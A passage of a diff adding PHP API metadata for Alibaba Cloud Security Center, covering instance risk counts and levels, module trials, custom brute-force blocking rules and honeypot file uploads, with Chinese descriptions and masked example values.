'InstanceRiskNum' => [ + 'description' => '实例安全风险条数信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'InstanceItem' => [ + 'title' => '实例信息', + 'description' => '实例信息。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'title' => '实例SerialNumber', + 'description' => '实例UUID。', + 'type' => 'string', + 'example' => 'f2d6e901-1004-4ca8-9dae-53ec04a9****', + ], + 'InstanceId' => [ + 'title' => '实例ID', + 'description' => '实例ID', + 'type' => 'string', + 'example' => 'i-wz9fdluqx20mp2x7****', + ], + ], + ], + 'RiskNumEntity' => [ + 'title' => '风险统计信息', + 'description' => '风险统计信息。', + 'type' => 'object', + 'properties' => [ + 'VulHighCount' => [ + 'title' => '高危漏洞个数', + 'description' => '高危漏洞个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'VulMediumCount' => [ + 'title' => '中危漏洞个数', + 'description' => '中危漏洞个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'VulLowCount' => [ + 'title' => '低危漏洞个数', + 'description' => '低危漏洞个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'WeakPassWordCount' => [ + 'title' => '公网暴露的弱口令个数', + 'description' => '公网暴露的弱口令个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'SuspiciousHighCount' => [ + 'title' => '高危告警个数', + 'description' => '高危告警个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'SuspiciousMediumCount' => [ + 'title' => '中危告警个数', + 'description' => '中危告警个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '6', + ], + 'SuspiciousLowCount' => [ + 'title' => '低危告警个数', + 'description' => '低危告警个数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '7', + ], + ], + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '291B49F9-1685-4005-9D34-606B6F78****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"InstanceRiskNum\\": [\\n {\\n \\"InstanceItem\\": {\\n \\"Uuid\\": \\"f2d6e901-1004-4ca8-9dae-53ec04a9****\\",\\n \\"InstanceId\\": \\"i-wz9fdluqx20mp2x7****\\"\\n },\\n \\"RiskNumEntity\\": {\\n \\"VulHighCount\\": 1,\\n \\"VulMediumCount\\": 2,\\n \\"VulLowCount\\": 3,\\n \\"WeakPassWordCount\\": 4,\\n \\"SuspiciousHighCount\\": 5,\\n \\"SuspiciousMediumCount\\": 6,\\n \\"SuspiciousLowCount\\": 7\\n }\\n }\\n ],\\n \\"RequestId\\": \\"291B49F9-1685-4005-9D34-606B6F78****\\"\\n}","type":"json"}]', + 'title' => '获取实例的安全问题数量', + ], + 'ListInstanceRiskLevels' => [ + 'summary' => '获取实例列表安全风险等级。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'https', + 'http', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'InstanceList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '实例列表', + 'description' => '实例列表', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'title' => '实例SerialNumber', + 'description' => '实例UUID。您可以调用[DescribeCloudCenterInstances](~~141932~~)接口获取服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => 'f2d6e901-1004-4ca8-9dae-53ec04a9****', + ], + 'InstanceId' => [ + 'title' => '实例ID', + 'description' => '实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'i-m5efigezp50l2cmb****', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'ListResult', + 'description' => 'ListResult', + 'type' => 'object', + 'properties' => [ + 'InstanceRiskLevels' => [ + 'description' => '实例风险等级', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-m5efigezp50l2cmb****', + ], + 'Uuid' => [ + 'description' => '要修改防暴力破解规则的服务器UUID。'."\n" + .'您可以调用[DescribeCloudCenterInstances](~~141932~~)接口获取服务器的UUID。', + 'type' => 'string', + 'example' => 'f2d6e901-1004-4ca8-9dae-53ec04a92765', + ], + 'Level' => [ + 'description' => '安全风险等级。取值：'."\n" + ."\n" + .'- **high**：高危'."\n" + .'- **medium**：中危'."\n" + .'- **low**：低危'."\n" + .'- **none**：无风险', + 'type' => 'string', + 'example' => 'high', + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F5CF78A7-30AA-59DB-847F-13EE3AE7****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"InstanceRiskLevels\\": [\\n {\\n \\"InstanceId\\": \\"i-m5efigezp50l2cmb****\\",\\n \\"Uuid\\": \\"f2d6e901-1004-4ca8-9dae-53ec04a92765\\",\\n \\"Level\\": \\"high\\"\\n }\\n ],\\n \\"RequestId\\": \\"F5CF78A7-30AA-59DB-847F-13EE3AE7****\\"\\n}","type":"json"}]', + 'title' => '获取实例列表安全风险等级', + ], + 'GetModuleTrialAuthInfo' => [ + 'summary' => '获取云安全中心增值模块的试用资格信息，包括漏洞修复、威胁分析与响应等模块。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '196547', + 'abilityTreeNodes' => [ + 'FEATUREsas8YMQ5V', + ], + ], + 'parameters' => [ + [ + 'name' => 'ModuleCode', + 'in' => 'query', + 'schema' => [ + 'description' => '模块code。取值：'."\n" + .'- **vulFix**：漏洞修复'."\n" + .'- **cloudSiem**：威胁分析与响应', + 'type' => 'string', + 'required' => false, + 'example' => 'vulFix', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'ModuleCode' => [ + 'description' => '模块Code。取值：'."\n" + .'- **vulFix**：漏洞修复'."\n" + .'- **cloudSiem**：威胁分析与响应', + 'type' => 'string', + 'example' => 'vulFix', + ], + 'CanTry' => [ + 'description' => '是否有资格试用。取值：'."\n" + .'- **true**：有资格'."\n" + .'- **false**：没有资格', + 'type' => 'boolean', + ], + 'TrialRecordList' => [ + 'description' => '试用记录。', + 'type' => 'array', + 'items' => [ + 'description' => '数据。', + 'type' => 'object', + 'properties' => [ + 'ModuleCode' => [ + 'description' => '模块Code。取值：'."\n" + .'- **vulFix**：漏洞修复'."\n" + .'- **cloudSiem**：威胁分析与响应', + 'type' => 'string', + 'example' => 'vulFix', + ], + 'AuthLimit' => [ + 'description' => '授权额度。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '100', + ], + 'GmtStart' => [ + 'description' => '试用开始时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1669824000000', + ], + 'GmtEnd' => [ + 'description' => '试用结束时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1679760000000', + ], + 'Status' => [ + 'description' => '试用状态。取值：'."\n" + .'- **1**：试用中'."\n" + .'- **0**：试用结束', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AuthLimitList' => [ + 'description' => '授权额度列表。当ModuleCode为cloudSiem时有效，含义分别为威胁分析与响应日志存储容量（GB）和日志接入流量（GB/天）。', + 'type' => 'string', + 'example' => '[100,1]', + ], + ], + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"ModuleCode\\": \\"vulFix\\",\\n \\"CanTry\\": true,\\n \\"TrialRecordList\\": [\\n {\\n \\"ModuleCode\\": \\"vulFix\\",\\n \\"AuthLimit\\": 100,\\n \\"GmtStart\\": 1669824000000,\\n \\"GmtEnd\\": 1679760000000,\\n \\"Status\\": 1,\\n \\"AuthLimitList\\": \\"[100,1]\\"\\n }\\n ]\\n },\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\"\\n}","type":"json"}]', + 'title' => '获取云安全中心增值模块的试用资格信息', + ], + 'AddSasModuleTrial' => [ + 'summary' => '增加云安全中心增值模块的试用，包括漏洞修复、威胁分析与响应等模块。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '196548', + 'abilityTreeNodes' => [ + 'FEATUREsas8YMQ5V', + ], + ], + 'parameters' => [ + [ + 'name' => 'ModuleCode', + 'in' => 'query', + 'schema' => [ + 'description' => '模块code。取值：'."\n" + .'- **vulFix**：漏洞修复'."\n" + .'- **cloudSiem**：威胁分析与响应', + 'type' => 'string', + 'required' => false, + 'example' => 'vulFix', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PlainResult', + 'description' => 'PlainResult', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。', + 'type' => 'object', + 'properties' => [ + 'TrialRecordList' => [ + 'description' => '试用记录。', + 'type' => 'array', + 'items' => [ + 'description' => '数据。', + 'type' => 'object', + 'properties' => [ + 'ModuleCode' => [ + 'description' => '模块code。取值：'."\n" + .'- **vulFix**：漏洞修复'."\n" + .'- **cloudSiem**：威胁分析与响应', + 'type' => 'string', + 'example' => 'vulFix', + ], + 'AuthLimit' => [ + 'description' => '授权额度。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '100', + ], + 'GmtStart' => [ + 'description' => '试用开始时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1667232000000', + ], + 'GmtEnd' => [ + 'description' => '试用结束时间。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1638201599999', + ], + 'Status' => [ + 'description' => '试用状态。取值：'."\n" + .'- **1**：试用中'."\n" + .'- **0**：试用结束', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'AuthLimitList' => [ + 'description' => '授权额度列表。当ModuleCode为cloudSiem时有效，含义分别为威胁分析与响应日志存储容量（GB）和日志接入流量（GB/天）。', + 'type' => 'string', + 'example' => '[100,1]', + ], + ], + ], + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'WithoutTrialQualification', + 'errorMessage' => 'Has no trial qualification.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"TrialRecordList\\": [\\n {\\n \\"ModuleCode\\": \\"vulFix\\",\\n \\"AuthLimit\\": 100,\\n \\"GmtStart\\": 1667232000000,\\n \\"GmtEnd\\": 1638201599999,\\n \\"Status\\": 1,\\n \\"AuthLimitList\\": \\"[100,1]\\"\\n }\\n ]\\n },\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\"\\n}","type":"json"}]', + 'title' => '增加云安全中心增值模块的试用', + ], + 'EnableCustomInstanceBlockRecord' => [ + 'summary' => '开启自定义规则中具体实例的状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'required' => true, + 'example' => '50d213b4-3a35-427a-b8a5-04b0c7e1****', + ], + ], + [ + 'name' => 'BlockIp', + 'in' => 'query', + 'schema' => [ + 'description' => '该机器需要开启的防暴力破解IP地址。', + 'type' => 'string', + 'required' => true, + 'example' => '192.168.xx.xx', + ], + ], + [ + 'name' => 'Bound', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器暴力破解拦截策略阻断IP的方向。'."\n" + .'取值：'."\n" + .'- **in** ：入方向 '."\n" + .'- **out**： 出方向', + 'type' => 'string', + 'required' => false, + 'example' => 'in', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '571B2642-BF51-5BDD-906B-D2340DB9****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"571B2642-BF51-5BDD-906B-D2340DB9****\\"\\n}","type":"json"}]', + 'title' => '开启自定义规则具体实例开关', + ], + 'DescribeCustomBlockInstances' => [ + 'summary' => '查看暴力破解自定义规则生效的服务器列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '8', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '对应实例的规则开启状态。'."\n" + .'- **2**：开启异常'."\n" + .'- **1**：已启用'."\n" + .'- **0**：未启用', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'BlockIp', + 'in' => 'query', + 'schema' => [ + 'description' => '防暴力破解IP地址。'."\n" + .'> 调用[DescribeCustomBlockRecords](~~DescribeCustomBlockRecords~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '47.92.33.1xx', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的检查项信息的数量。默认值为**20**，表示每页显示20条检查项信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'Bound', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义规则中流量禁用方向。'."\n" + .'取值：'."\n" + .'- **in**：入流量 '."\n" + .'- **out**：出流量', + 'type' => 'string', + 'required' => false, + 'example' => 'in', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D81DD78E-E006-5C65-A171-C8CB09XXXXX', + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页包含的客户端任务的数量。默认值为**20**。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '暴力破解防御规则生效服务器总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '83', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + 'InstanceList' => [ + 'description' => '实例ID', + 'type' => 'array', + 'items' => [ + 'description' => '实例详情。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '对应实例的规则开启状态。'."\n" + .'- **2**：开启异常'."\n" + .'- **1**：已启用'."\n" + .'- **0**：未启用', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Uuid' => [ + 'description' => '设备UUID'."\n", + 'type' => 'string', + 'example' => 'f2d6e901-1004-4ca8-9dae-53ec04a9****', + ], + 'InternetIp' => [ + 'description' => '服务器外网IP。', + 'type' => 'string', + 'example' => '116.62.121.1xx', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP。', + 'type' => 'string', + 'example' => '192.168.1.xx', + ], + 'InstanceName' => [ + 'description' => '资产实例名称。', + 'type' => 'string', + 'example' => 'myInstance', + ], + 'BlockType' => [ + 'description' => '拦截类型。取值：'."\n" + .'- **group**：安全组拦截'."\n" + .'- **alinet**：主机网络插件拦截', + 'type' => 'string', + 'example' => 'group', + ], + 'ErrorCode' => [ + 'description' => '异常状态返回的错误码。', + 'type' => 'string', + 'example' => 'AliNetNotOnline', + ], + 'SuccessInfo' => [ + 'description' => '拦截成功的事件返回的拦截信息。', + 'type' => 'string', + 'example' => '{"aliUid":*******,"groupId":"sg-xxxx","groupName":"Sas_Malicious_Ip_Security_Group","groupType":"normal","instanceId":"i-xxxx","regionId":"cn-shenzhen","vpcId":"vpc-xxxxxxxx"}', + ], + 'AliNetOnline' => [ + 'description' => '主机网络插件在线状态。取值：'."\n" + .'- **true**：在线'."\n" + .'- **false**：离线', + 'type' => 'boolean', + 'example' => 'true', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"D81DD78E-E006-5C65-A171-C8CB09XXXXX\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 83,\\n \\"Count\\": 10\\n },\\n \\"InstanceList\\": [\\n {\\n \\"Status\\": 1,\\n \\"Uuid\\": \\"f2d6e901-1004-4ca8-9dae-53ec04a9****\\",\\n \\"InternetIp\\": \\"116.62.121.1xx\\",\\n \\"IntranetIp\\": \\"192.168.1.xx\\",\\n \\"InstanceName\\": \\"myInstance\\",\\n \\"BlockType\\": \\"group\\",\\n \\"ErrorCode\\": \\"AliNetNotOnline\\",\\n \\"SuccessInfo\\": \\"{\\\\\\"aliUid\\\\\\":*******,\\\\\\"groupId\\\\\\":\\\\\\"sg-xxxx\\\\\\",\\\\\\"groupName\\\\\\":\\\\\\"Sas_Malicious_Ip_Security_Group\\\\\\",\\\\\\"groupType\\\\\\":\\\\\\"normal\\\\\\",\\\\\\"instanceId\\\\\\":\\\\\\"i-xxxx\\\\\\",\\\\\\"regionId\\\\\\":\\\\\\"cn-shenzhen\\\\\\",\\\\\\"vpcId\\\\\\":\\\\\\"vpc-xxxxxxxx\\\\\\"}\\",\\n \\"AliNetOnline\\": true\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查看自定义规则的机器状态', + ], + 'GetHoneyPotUploadPolicyInfo' => [ + 'summary' => '当需要向蜜罐中上传文件时，先通过此接口中获取文件上传的地址等信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '返回结果数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '数据详情。', + 'type' => 'object', + 'properties' => [ + 'Accessid' => [ + 'description' => '上传需要的密钥ID。', + 'type' => 'string', + 'example' => 'yourAccessKeyID', + ], + 'Policy' => [ + 'description' => '文件上传的限制策略，如文件大小。', + 'type' => 'string', + 'example' => 'eyJleHBpcmF0aW9uIjoiMjAyMy0wOS0wMVQwMzoyNTozNS44MzZaIiwiY29uZGl0aW9ucyI6W1siY29udGVudC1sZW5ndGgtcmFuZ2UiLDAsMTA0ODU3NjAwXSxbInN0YXJ0cy13aXRoIiwiJGtleSIsIkhPTkVZUE9UX0ZJTEUvMTc2NjE4NTg5NDEwNDY3NV8xNjkzNTM4NDM1N*****************', + ], + 'Signature' => [ + 'description' => '根据**AccessKeySecret**和**Policy**计算出的签名信息。调用OSS API时，OSS验证该签名信息，从而确认Post请求的合法性。', + 'type' => 'string', + 'example' => 'wKPqlFneNTZPn52k2Rz9GTY*****', + ], + 'Key' => [ + 'description' => '调用OSS的接口PostObject上传对象（即文件）的名称，包含OSS对象的完整路径。', + 'type' => 'string', + 'example' => 'HONEYPOT_FILE/1766185894104675_169********', + ], + 'Host' => [ + 'description' => '上传时的请求地址。', + 'type' => 'string', + 'example' => 'https://aegis-update-static-file.oss-cn-hangzhou.aliyuncs.com', + ], + 'Expire' => [ + 'description' => '授权失效时间，时间戳格式，可以判断授权是否在有效期内，失效后授权不可用。', + 'type' => 'string', + 'example' => '1661443200000', + ], + 'SecurityToken' => [ + 'description' => 'STS安全令牌。', + 'type' => 'string', + 'example' => '***', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '接口请求的状态码。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8C177095-A734-59B2-9409-7D4F26FF****', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"Accessid\\": \\"yourAccessKeyID\\",\\n \\"Policy\\": \\"eyJleHBpcmF0aW9uIjoiMjAyMy0wOS0wMVQwMzoyNTozNS44MzZaIiwiY29uZGl0aW9ucyI6W1siY29udGVudC1sZW5ndGgtcmFuZ2UiLDAsMTA0ODU3NjAwXSxbInN0YXJ0cy13aXRoIiwiJGtleSIsIkhPTkVZUE9UX0ZJTEUvMTc2NjE4NTg5NDEwNDY3NV8xNjkzNTM4NDM1N*****************\\",\\n \\"Signature\\": \\"wKPqlFneNTZPn52k2Rz9GTY*****\\",\\n \\"Key\\": \\"HONEYPOT_FILE/1766185894104675_169********\\",\\n \\"Host\\": \\"https://aegis-update-static-file.oss-cn-hangzhou.aliyuncs.com\\",\\n \\"Expire\\": \\"1661443200000\\",\\n \\"SecurityToken\\": \\"***\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"8C177095-A734-59B2-9409-7D4F26FF****\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取蜜罐文件上传策略信息', + ], + 'UploadedHoneyPotFile' => [ + 'summary' => '蜜罐文件上传后，创建并确认记录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'FileKey', + 'in' => 'query', + 'schema' => [ + 'title' => '文件key', + 'description' => '上传文件使用的FileKey。'."\n" + .'> 格式为：HONEYPOT_FILE/{时间戳}_{自定义文件名}', + 'type' => 'string', + 'required' => true, + 'example' => 'HONEYPOT_FILE/1601097845544644_********', + ], + ], + [ + 'name' => 'FileName', + 'in' => 'query', + 'schema' => [ + 'title' => '文件名称', + 'description' => '上传文件的名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'trojan.zip', + ], + ], + [ + 'name' => 'FileType', + 'in' => 'query', + 'schema' => [ + 'title' => '文件类型', + 'description' => '文件类型。', + 'type' => 'string', + 'required' => true, + 'example' => 'application/zip', + ], + ], + [ + 'name' => 'NodeId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐管理节点唯一ID', + 'description' => '蜜罐管理节点ID。'."\n" + .'> 调用[ListHoneypotNode](~~ListHoneypotNode~~)接口获取该值。', + 'type' => 'string', + 'required' => false, + 'example' => 'cc427e14-f257-4670-9d2b-d83bbbe*****', + ], + ], + [ + 'name' => 'TemplateExtra', + 'in' => 'query', + 'schema' => [ + 'title' => '上传文件对应的模板提示', + 'description' => '上传文件对应的模板提示。', + 'type' => 'string', + 'required' => true, + 'example' => '{\\"help\\":\\".zip\\",\\"label\\":\\"file\\",\\"type\\":\\"file\\",\\"key\\":\\"ftpfiles.zip\\"}', + ], + ], + [ + 'name' => 'HoneypotImageName', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐镜像名称', + 'description' => '蜜罐镜像名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'ruoyi', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '返回结果数据。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码。**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '接口请求返回的信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '427F89F8-6DFE-57CC-9593-3487CA93****', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + 